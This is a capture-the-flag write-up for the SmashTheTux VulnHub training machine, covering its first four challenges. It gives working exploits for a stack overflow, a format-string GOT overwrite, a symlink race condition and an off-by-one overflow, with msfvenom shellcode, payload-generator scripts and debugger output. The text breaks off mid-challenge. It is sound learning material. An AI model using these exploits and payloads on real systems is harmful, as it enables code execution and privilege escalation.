SmashTheTux VulnHub Writeup

  1. 0x00
  2. 0x01
  3. 0x02
  4. 0x03
  5. 0x04
  6. 0x05
  7. 0x06
  8. 0x07
  9. 0x08
  10. Conclusions

Binary exploitation is not a strong point of mine, and I take any opportunity to learn, so the recent SmashTheTux image on VulnHub seemed like an ideal candidate!

0x00

// gcc pwnme.c -o pwnme -fno-stack-protector
#include <stdio.h>
#include <string.h>

void vuln( char * arg ) {
    char buf[256];
    strcpy(buf, arg);
}

int main(int argc, char **argv) {
    printf("Val: %s\n", argv[1]);
    vuln(argv[1]);

    return 0;
}

This looks like a plain stack overflow vulnerability. The first argument passed into the binary is copied to a buffer 256 bytes in length, using the unsafe strcpy function. After some experimentation, we can control the EIP register by supplying a string 268 characters in length, followed by 4 characters (being our desired EIP value).

tux@tux:~/0x00$ gdb -q pwnme
Reading symbols from pwnme...(no debugging symbols found)...done.
(gdb) run $(python -c 'print "A" * 268 + "B" * 4')
Starting program: /home/tux/0x00/pwnme $(python -c 'print "A" * 268 + "B" * 4')
Val: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

The program returns a segfault, as it attempts to jump to an invalid address.

Before going any further, I download gdb-peda and transfer it to the target using SFTP. I once again fire up gdb and trigger the crash.

gdb-peda$ run $(python -c 'print "A" * 268 + "B" * 4')
Starting program: /home/tux/0x00/pwnme $(python -c 'print "A" * 268 + "B" * 4')
Val: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0xbffff4e0 ('A' <repeats 200 times>...)
EBX: 0xbffff620 --> 0x2
ECX: 0xbffff8f0 ("AAABBBB")
EDX: 0xbffff5e9 ("AAABBBB")
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff5f0 --> 0xbffff700 --> 0xbfffffa7 ("LOGNAME=tux")
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff5f0 --> 0xbffff700 --> 0xbfffffa7 ("LOGNAME=tux")
0004| 0xbffff5f4 --> 0xbffff7e7 ('A' <repeats 200 times>...)
0008| 0xbffff5f8 --> 0xbffff6c0 --> 0xbffff8f8 ("SHELL=/bin/bash")
0012| 0xbffff5fc --> 0xb7e573fd (<__cxa_atexit+29>:    test   eax,eax)
0016| 0xbffff600 --> 0xbffff620 --> 0x2
0020| 0xbffff604 --> 0xb7fcf000 --> 0x1a8da8
0024| 0xbffff608 --> 0x0
0028| 0xbffff60c --> 0xb7e3fa63 (<__libc_start_main+243>:    mov    DWORD PTR [esp],eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

As we installed gdb-peda, we now get some very useful information back. We can see that the address to our input string is held in the EAX register. Running the binary multiple times, I see that this address does not change. We could over write the EIP register with this address, or we could be a bit smarter about this.

Let's see if we can find a JMP EAX gadget, or equivilant. After downloading the pwnme binary to my machine, I run it through msfelfscan to discover a useful gadget.

$ msfelfscan -j eax 0x00/pwnme
[0x00/pwnme]
0x08048393 call eax

Perfect. Next, for the payload I turn to msfvenom. We have 268 bytes for our payload. That should be enough for a basic exec payload, including specifying the NULL character as bad.

$ msfvenom -p linux/x86/exec CMD=/bin/bash -f python -b '\x00'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 72 (iteration=0)
x86/shikata_ga_nai chosen with final size 72
Payload size: 72 bytes
buf =  ""
buf += "\xdb\xdd\xb8\x97\xb5\xbc\x08\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x0c\x31\x46\x18\x83\xc6\x04\x03\x46\x83\x57"
buf += "\x49\x62\xa0\xcf\x2b\x21\xd0\x87\x66\xa5\x95\xbf\x11"
buf += "\x06\xd6\x57\xe2\x30\x37\xca\x8b\xae\xce\xe9\x1e\xc7"
buf += "\xda\xed\x9e\x17\xf5\x8f\xf7\x79\x26\x32\x69\xf5\x50"
buf += "\xb2\x3e\xaa\x29\x53\x0d\xcc"

Time to put together our final payload generator.

# linux/x86/exec CMD=/bin/bash payload
buf =  ""
buf += "\xdb\xdd\xb8\x97\xb5\xbc\x08\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x0c\x31\x46\x18\x83\xc6\x04\x03\x46\x83\x57"
buf += "\x49\x62\xa0\xcf\x2b\x21\xd0\x87\x66\xa5\x95\xbf\x11"
buf += "\x06\xd6\x57\xe2\x30\x37\xca\x8b\xae\xce\xe9\x1e\xc7"
buf += "\xda\xed\x9e\x17\xf5\x8f\xf7\x79\x26\x32\x69\xf5\x50"
buf += "\xb2\x3e\xaa\x29\x53\x0d\xcc"
# padding to reach EIP
buf += (268 - len(buf)) * "A"

# overwrite EIP to point to `call eax` gadget
buf += "\x93\x83\x04\x08"

# output the final payload
print buf

We can now execute the binary with our generated payload - it should in theory give us a /bin/bash session.

tux@tux:~/0x00$ echo $BASHPID
920
tux@tux:~/0x00$ ./pwnme $(python exploit.py)
Val: �ݸ���t$�^1ɱ
�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��
tux@tux:/home/tux/0x00$ echo $BASHPID
988
tux@tux:/home/tux/0x00$ exit
exit
tux@tux:~/0x00$ echo $BASHPID
920

We confirm that we've migrated to a new /bin/bash session by checking the BASHPID environment variable. Great success!

0x01

// gcc pwnme.c -o pwnme -fno-stack-protector
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv) {
    char text[1024];
    scanf("%1024s", text);
    printf(text);

    exit(0);
}

Format string exploits - my favourite..

So, a buffer is read in using scanf, and is then printed with printf. We then call exit, to terminate. Our goal here will be to overwrite the GOT entry for the exit function, with the address for the system function.

First, we find the address of the exit GOT entry.

$ objdump -d pwnme
...
08048350 <exit@plt>:
 8048350:    ff 25 54 97 04 08        jmp    *0x8049754
 8048356:    68 10 00 00 00           push   $0x10
 804835b:    e9 c0 ff ff ff           jmp    8048320 <_init+0x2c>

Next we retrieve the address of the system function, using gdb.

tux@tux:~/0x01$ gdb -q pwnme
Reading symbols from pwnme...(no debugging symbols found)...done.
gdb-peda$ start
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0xbffff740 --> 0x1
EDX: 0xbffff764 --> 0xb7fcf000 --> 0x1a8da8
ESI: 0x0
EDI: 0x0
EBP: 0xbffff728 --> 0x0
ESP: 0xbffff724 --> 0xbffff740 --> 0x1
EIP: 0x8048489 (<main+14>:    sub    esp,0x404)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048485 <main+10>:    push   ebp
   0x8048486 <main+11>:    mov    ebp,esp
   0x8048488 <main+13>:    push   ecx
=> 0x8048489 <main+14>:    sub    esp,0x404
   0x804848f <main+20>:    sub    esp,0x8
   0x8048492 <main+23>:    lea    eax,[ebp-0x408]
   0x8048498 <main+29>:    push   eax
   0x8048499 <main+30>:    push   0x8048560
[------------------------------------stack-------------------------------------]
0000| 0xbffff724 --> 0xbffff740 --> 0x1
0004| 0xbffff728 --> 0x0
0008| 0xbffff72c --> 0xb7e3fa63 (<__libc_start_main+243>:    mov    DWORD PTR [esp],eax)
0012| 0xbffff730 --> 0x80484d0 (<__libc_csu_init>:    push   ebp)
0016| 0xbffff734 --> 0x0
0020| 0xbffff738 --> 0x0
0024| 0xbffff73c --> 0xb7e3fa63 (<__libc_start_main+243>:    mov    DWORD PTR [esp],eax)
0028| 0xbffff740 --> 0x1
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x08048489 in main ()
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xb7e643e0 <__libc_system>

Time to put together our payload.

    1st 4 bytes     2nd 4 bytes
sh;#\x54\x97\x04\x08\x56\x97\x04\x08%00000x%5$hn%00000x%6$hn

Next, the number of bytes we need to write.

>>> 0x43e0 - 12
17364
>>> 0xb7e6 - 0x43e0
29702

Finally, we modify the payload to reflect this.

sh;#\x54\x97\x04\x08\x56\x97\x04\x08%17364x%5$hn%29702x%6$hn

Now, this functions as I expected, causing __libc_system to be called instead of exit, however we do not get a shell. This is because our input is not sent to the exit call - the value 0 is, which results in a segmentation fault.

In order to successfully exploit this, we're going to need to overwrite the GOT entry for exit so as to point to main+46, just before printf is called with our input. We will also need to overwrite the GOT entry for printf to point to __libc_system, so that system will be called with our input, resulting in command execution.

0x080484a9 <+46>:    lea    -0x408(%ebp),%eax
0x080484af <+52>:    push   %eax
0x080484b0 <+53>:    call   0x8048330 <printf@plt>

Using the same logic as above, I put together a short Python script to generate my payload for me. Please, excuse what you're about to see.

import struct

exitGot = 0x08049754 # exit GOT pointer
printfGot = 0x804974c # printf

exitGotFirst = struct.pack('<L', exitGot)
exitGotSecond = struct.pack('<L', exitGot+2)

printfGotFirst = struct.pack('<L', printfGot)
printfGotSecond = struct.pack('<L', printfGot+2)

payload = 'sh;#' + exitGotFirst + exitGotSecond + printfGotFirst + printfGotSecond

shellCodeAddress = struct.pack('>L', 0x080484a9) # overwrite exit PLT to main+46
shellCodeAddressLeast = int(shellCodeAddress[2:4].encode('hex'), 16) - len(payload)
shellCodeAddressMost = int(shellCodeAddress[0:2].encode('hex'), 16) - int(shellCodeAddress[2:4].encode('hex'), 16)
if shellCodeAddressMost < 1:
    shellCodeAddressMost += 65536
payload += '%%%dx%%5$hn' % shellCodeAddressLeast
payload += '%%%dx%%6$hn' % shellCodeAddressMost

shellCodeAddress2 = struct.pack('>L', 0xb7e643e0) # overwrite printf@plt with address to __libc_system
shellCodeAddress2Least = int(shellCodeAddress2[2:4].encode('hex'), 16) - int(shellCodeAddress[0:2].encode('hex'), 16)
if shellCodeAddress2Least < 1:
    shellCodeAddress2Least += 65536
shellCodeAddress2Most = int(shellCodeAddress2[0:2].encode('hex'), 16) - int(shellCodeAddress2[2:4].encode('hex'), 16)
if shellCodeAddress2Most < 1:
    shellCodeAddress2Most += 65536

payload += '%%%dx%%7$hn' % shellCodeAddress2Least
payload += '%%%dx%%8$hn' % shellCodeAddress2Most

print payload

Providing this as input to the pwnme binary results in a shell, as demonstrated below.

tux@tux:~/0x01$ (python exploit.py; cat) | ./pwnme
...the interpreted payload gets output here by printf...
id
uid=1000(tux) gid=1000(tux) groups=1000(tux),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)

This was a wonderful challenge - While the above payload generator is really messy, it has taught me a valuable lesson in exploiting format string vulnerabilities.

0x02

// gcc pwnme.c -o pwnme
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#define UID 1000
#define GID 1000

int main (int argc, char **argv)
{
  FILE *fp;
  struct stat st;
  char content[255];

  stat(argv[1], &st);

//    printf("%d %d\n", st.st_uid, st.st_gid);
  if ( ((st.st_uid ^ UID) & (st.st_gid ^ GID)) == 0) {
    puts("Access Granted.");

    fp = fopen(argv[1], "r");
    fgets(content, 255, (FILE*)fp);
    fclose(fp);

    printf("%s\n", content);

  } else {
    puts("Access Denied.");
    exit(-1);
  }

  return 0;
}

For this challenge, we apparently need to read the root-owned file .readthis, by exploiting what appears to be a race condition in the binary, leveraging the stat function and symlinks to introduce delay.

It's worth noting, that initially the permissions of the pwnme binary were incorrect (as confirmed by the author). I logged in as root using the password 1N33dP0w3r provided to us, and changed the ownership of the binary, and set the SUID bit, so that the binary (when exploited) is actually able to read the root-owned file .readthis.

root@tux:/home/tux/0x02# ls -lah
total 28K
drwxr-xr-x  2 tux  tux  4.0K Mar 12 03:40 .
drwxr-xr-x 13 tux  tux  4.0K Mar 28 09:38 ..
-rw-r--r--  1 tux  tux    31 Mar 12 03:40 hint
-rwxr-xr-x  1 tux  tux  5.6K Mar 12 03:39 pwnme
-rw-r--r--  1 tux  tux   522 Mar 12 03:39 pwnme.c
-rw-r-----  1 root root   47 Mar 11 22:56 .readthis
root@tux:/home/tux/0x02# chown root:root pwnme
root@tux:/home/tux/0x02# chmod u+s pwnme
root@tux:/home/tux/0x02# ls -alh
total 28K
drwxr-xr-x  2 tux  tux  4.0K Mar 12 03:40 .
drwxr-xr-x 13 tux  tux  4.0K Mar 28 09:38 ..
-rw-r--r--  1 tux  tux    31 Mar 12 03:40 hint
-rwsr-xr-x  1 root root 5.6K Mar 12 03:39 pwnme
-rw-r--r--  1 tux  tux   522 Mar 12 03:39 pwnme.c
-rw-r-----  1 root root   47 Mar 11 22:56 .readthis

So, moving on.. what we need to do is execute the target, and in the background switch out the symlink to the root-owned file .readthis. Thankfully, there's a pretty decent post I found on the subject of race conditions, including details on how you can exploit them to manipulate flow in a vulnerable binary.

Modifying the example hit-and-hope exploit from the post gives us a really noisy, but functioning exploit.

#!/bin/sh
touch myfile
while true; do
  ln -sf ./myfile a &
  ./pwnme a &
  ln -sf .readthis a &
done

Running this script results in a ton of output, but somewhere within the noise is an indication that we successfully exploited the race condition!

tux@tux:~/0x02$ ./exploit.sh
...snip...
Access Granted.
You've Successfully exploited Race Condition!

What the above exploit essentially does, is asynchronously (ish) creates a symlink to a file with the correct UID and GID, executes the target binary and immediately afterwards updates the symlink to point to the root-owned file .readthis. On occasion, the stars align and stat is called on the symlink while it is pointing to the file myfile (which is owned by the correct UID and GID), yet by the time the file is subsequently opened, we have updated the symlink to point to the root-owned file .readthis.

0x03

// gcc -mpreferred-stack-boundary=2 -fno-stack-protector pwnme.c -o pwnme
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int mystrcpy(const char * text) {
    char buff[512];

        if(strlen(text) > 512){
                puts("Nice Try.");
                exit(-1);
        } else {
        strcpy(buff, text);
        }

    return 0;

}


int main(int argc, char **argv) {

    mystrcpy(argv[1]);

    return 0;
}

This looks to be an off the shelf buffer overflow, enabled by an off-by-one error in the length comparison, within the mystrcpy function. The variable buff is given a length of 512, however the function checks to see if the length of the input is greater than, not greater than or equal to 512, prior to copying our input in to the buff variable.

Firstly, strcpy can copy a string longer than the defined length of buff into the address allocated to it. We can subsequently overwrite the least significant bit of the saved ebp with a NULL byte. This means that ebp will be corrupted, and result in the frame landing inside our buffer, allowing us to control the return address.

Within the hint, we are provided with a string that will trigger this off-by-one error, and result in ebp being manipulated sufficiently to give us control of the eip register.

python -c 'print "A"*(512-24) + "B"*4 + "C"*20'

After testing this within gdb, we can confirm that we have control over the eip register.

tux@tux:~/0x03$ gdb -q ./pwnme
Reading symbols from ./pwnme...(no debugging symbols found)...done.
gdb-peda$ run `python -c 'print "A"*(512-24) + "B"*4 + "C"*20'`
Starting program: /home/tux/0x03/pwnme `python -c 'print "A"*(512-24) + "B"*4 + "C"*20'`

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0xbffff8f0 ("CCCCCCC")
EDX: 0xbffff515 ("CCCCCCC")
ESI: 0x0
EDI: 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff508 ('C' <repeats 20 times>)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff508 ('C' <repeats 20 times>)
0004| 0xbffff50c ('C' <repeats 16 times>)
0008| 0xbffff510 ('C' <repeats 12 times>)
0012| 0xbffff514 ("CCCCCCCC")
0016| 0xbffff518 ("CCCC")
0020| 0xbffff51c --> 0xbffff500 ("AAAABBBB", 'C' <repeats 20 times>)
0024| 0xbffff520 --> 0x80484e4 (<main+17>:    add    esp,0x4)
0028| 0xbffff524 --> 0xbffff6f7 ('A' <repeats 200 times>...)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

We can use this to jump to shell code contained on the stack at address 0xbffff6f7 by updating the payload to the following. I also replace the A characters with nop instructions, to confirm that we can achieve arbitrary code execution.

gdb-peda$ break *0xbffff6f7
Breakpoint 1 at 0xbffff6f7
gdb-peda$ run `python -c 'print "\x90"*(512-24) + "\xf7\xf6\xff\xbf" + "C"*20'`
Starting program: /home/tux/0x03/pwnme `python -c 'print "\x90"*(512-24) + "\xf7\xf6\xff\xbf" + "C"*20'`
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7fcf000 --> 0x1a8da8
ECX: 0xbffff8f0 ("CCCCCCC")
EDX: 0xbffff515 ("CCCCCCC")
ESI: 0x0
EDI: 0x0
EBP: 0x90909090
ESP: 0xbffff508 ('C' <repeats 20 times>)
EIP: 0xbffff6f7 --> 0x90909090
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=> 0xbffff6f7:    nop
   0xbffff6f8:    nop
   0xbffff6f9:    nop
   0xbffff6fa:    nop
[------------------------------------stack-------------------------------------]
0000| 0xbffff508 ('C' <repeats 20 times>)
0004| 0xbffff50c ('C' <repeats 16 times>)
0008| 0xbffff510 ('C' <repeats 12 times>)
0012| 0xbffff514 ("CCCCCCCC")
0016| 0xbffff518 ("CCCC")
0020| 0xbffff51c --> 0xbffff500 --> 0x90909090
0024| 0xbffff520 --> 0x80484e4 (<main+17>:    add    esp,0x4)
0028| 0xbffff524 --> 0xbffff6f7 --> 0x90909090
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0xbffff6f7 in ?? ()

Awesome - we jumped to the stack and executed our nop instructions. Time to put something a little more useful into the payload.

Again, I turn to msfvenom to generate a simple payload for us.

$ msfvenom -p linux/x86/exec CMD=/bin/bash -f python -b '\x00'
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 10 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 72 (iteration=0)
x86/shikata_ga_nai chosen with final size 72
Payload size: 72 bytes
buf =  ""
buf += "\xdb\xdd\xb8\x97\xb5\xbc\x08\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x0c\x31\x46\x18\x83\xc6\x04\x03\x46\x83\x57"
buf += "\x49\x62\xa0\xcf\x2b\x21\xd0\x87\x66\xa5\x95\xbf\x11"
buf += "\x06\xd6\x57\xe2\x30\x37\xca\x8b\xae\xce\xe9\x1e\xc7"
buf += "\xda\xed\x9e\x17\xf5\x8f\xf7\x79\x26\x32\x69\xf5\x50"
buf += "\xb2\x3e\xaa\x29\x53\x0d\xcc"

Using this, I create a quick Python script to generate our final payload.

buf =  ""
buf += "\xdb\xdd\xb8\x97\xb5\xbc\x08\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x0c\x31\x46\x18\x83\xc6\x04\x03\x46\x83\x57"
buf += "\x49\x62\xa0\xcf\x2b\x21\xd0\x87\x66\xa5\x95\xbf\x11"
buf += "\x06\xd6\x57\xe2\x30\x37\xca\x8b\xae\xce\xe9\x1e\xc7"
buf += "\xda\xed\x9e\x17\xf5\x8f\xf7\x79\x26\x32\x69\xf5\x50"
buf += "\xb2\x3e\xaa\x29\x53\x0d\xcc"

buf += "A" * ((512-24) - len(buf))

buf += "\xf7\xf6\xff\xbf"

buf += "C" * 20

print buf

I then test this within gdb.

gdb-peda$ run `python exploit.py`
Starting program: /home/tux/0x03/pwnme `python exploit.py`
process 9730 is executing new program: /bin/dash
[New process 9736]
process 9736 is executing new program: /bin/bash
[New process 9737]
[New process 9738]
process 9738 is executing new program: /usr/bin/dircolors
[Inferior 4 (process 9738) exited normally]

Great! Now, I try this outside of gdb.

tux@tux:~/0x03$ ./pwnme `python exploit.py`
Segmentation fault

Bummer.. We can use an awesome bash script by hellman to ensure our gdb environment matches our normal environment, to debug this issue. My money is on a different stack address.

tux@tux:~/0x03$ ./r.sh gdb ./pwnme
GNU gdb (Debian 7.7.1+dfsg-5) 7.7.1
Copyright (C) 2014 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i586-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from /home/tux/0x03/.launcher...(no debugging symbols found)...done.
(gdb) run `python exploit.py`
Starting program: /home/tux/0x03/.launcher `python exploit.py`

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

So we can see that we are overwriting eip, but not with the value we expected. This indicates that our offset is incorrect. I open a fresh gdb session, so that the gdb-peda plugin is loaded, and create a pattern of length 512-24, since we know eip is being overwritten by a position somewhere within the block of A characters.

gdb-peda$ pattern_create 512-24
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIA'

I then update our exploit script to use this, in place of the payload and A characters.

buf = "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIA"

buf += "\x98\xf7\xff\xbf"

buf += "C" * 20

print buf

Running the above gdb session again results in a new address in the segmentation fault.

(gdb) run `python exploit.py`
Starting program: /home/tux/0x03/.launcher `python exploit.py`

Program received signal SIGSEGV, Segmentation fault.
0x25414b25 in ?? ()

Pumping this in to our other gdb session (that has gdb-peda loaded), we find our new offset.

gdb-peda$ pattern_offset 0x25414b25
625036069 found at offset: 296

Now, the address of our string has likely changed as well, so while we're here let's find out the new address.

(gdb) disas main
Dump of assembler code for function main:
   0x080484d3 <+0>:    push   %ebp
   0x080484d4 <+1>:    mov    %esp,%ebp
   0x080484d6 <+3>:    mov    0xc(%ebp),%eax
   0x080484d9 <+6>:    add    $0x4,%eax
   0x080484dc <+9>:    mov    (%eax),%eax
   0x080484de <+11>:    push   %eax
   0x080484df <+12>:    call   0x804848b <mystrcpy>
   0x080484e4 <+17>:    add    $0x4,%esp
   0x080484e7 <+20>:    mov    $0x0,%eax
   0x080484ec <+25>:    leave  
   0x080484ed <+26>:    ret    
End of assembler dump.
(gdb) break *main+12
Breakpoint 1 at 0x80484df
(gdb) run `python exploit.py`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/tux/0x03/.launcher `python exploit.py`

Breakpoint 1, 0x080484df in main ()
(gdb) info registers
eax            0xbffff798    -1073743976
ecx            0x296b6a26    694905382
edx            0xbffff614    -1073744364
ebx            0xb7fcf000    -1208160256
esp            0xbffff5e4    0xbffff5e4
ebp            0xbffff5e8    0xbffff5e8
esi            0x0    0
edi            0x0    0
eip            0x80484df    0x80484df <main+12>
eflags         0x286    [ PF SF IF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0    0
gs             0x33    51

Prior to calling mystrcpy, the eax register is pushed on to the stack, suggesting that this is our user input (as an argument to mystrcpy), and as such the address of our input is now 0xbffff798.

I update the exploit, according to what we've discovered.

buf =  ""
buf += "\xdb\xdd\xb8\x97\xb5\xbc\x08\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x0c\x31\x46\x18\x83\xc6\x04\x03\x46\x83\x57"
buf += "\x49\x62\xa0\xcf\x2b\x21\xd0\x87\x66\xa5\x95\xbf\x11"
buf += "\x06\xd6\x57\xe2\x30\x37\xca\x8b\xae\xce\xe9\x1e\xc7"
buf += "\xda\xed\x9e\x17\xf5\x8f\xf7\x79\x26\x32\x69\xf5\x50"
buf += "\xb2\x3e\xaa\x29\x53\x0d\xcc"

buf += "A" * (296 - len(buf))

buf += "\x98\xf7\xff\xbf"

buf += "C" * (512 - len(buf))

print buf

I then test it again within gdb (run using the fixenv script from hellman).

(gdb) run `python exploit.py`
Starting program: /home/tux/0x03/.launcher `python exploit.py`
process 10054 is executing new program: /bin/dash

Awesome! Let's test it outside of gdb now.

tux@tux:~/0x03$ ./pwnme `python exploit.py`
Segmentation fault

sigh Looks like something is still wrong. Let's enable core dumps and dig deeper.

tux@tux:~/0x03$ ulimit -c unlimited
tux@tux:~/0x03$ ./pwnme `python exploit.py`
Segmentation fault (core dumped)
tux@tux:~/0x03$ gdb -q ./pwnme core
...snip...
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x43434343 in ?? ()

Ok, so our offset appears to be wrong. I repeat the above process (using a pattern generated from gdb) and find the new offset based upon the address in the core dump.

tux@tux:~/0x03$ ./pwnme `python exploit.py`
Segmentation fault (core dumped)
tux@tux:~/0x03$ gdb -q ./pwnme core
Reading symbols from ./pwnme...(no debugging symbols found)...done.
[New LWP 10084]
Core was generated by `./pwnme AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3A'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x73414473 in ?? ()
gdb-peda$ pattern_offset 0x73414473
1933657203 found at offset: 428

I also take the opportunity to check the location of our stack in this core dump. It has also changed - but after stepping back some way, I find the new location with ease, by looking for the start of the pattern we provided.

gdb-peda$ x/s 0xbffff70d
0xbffff70d:    "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA"...

Hopefully for the last time, I update the exploit.

buf =  ""
buf += "\xdb\xdd\xb8\x97\xb5\xbc\x08\xd9\x74\x24\xf4\x5e\x31"
buf += "\xc9\xb1\x0c\x31\x46\x18\x83\xc6\x04\x03\x46\x83\x57"
buf += "\x49\x62\xa0\xcf\x2b\x21\xd0\x87\x66\xa5\x95\xbf\x11"
buf += "\x06\xd6\x57\xe2\x30\x37\xca\x8b\xae\xce\xe9\x1e\xc7"
buf += "\xda\xed\x9e\x17\xf5\x8f\xf7\x79\x26\x32\x69\xf5\x50"
buf += "\xb2\x3e\xaa\x29\x53\x0d\xcc"

buf += "A" * (428 - len(buf))

buf += "\x0d\xf7\xff\xbf"

buf += "C" * (512 - len(buf))

print buf

And then run it..

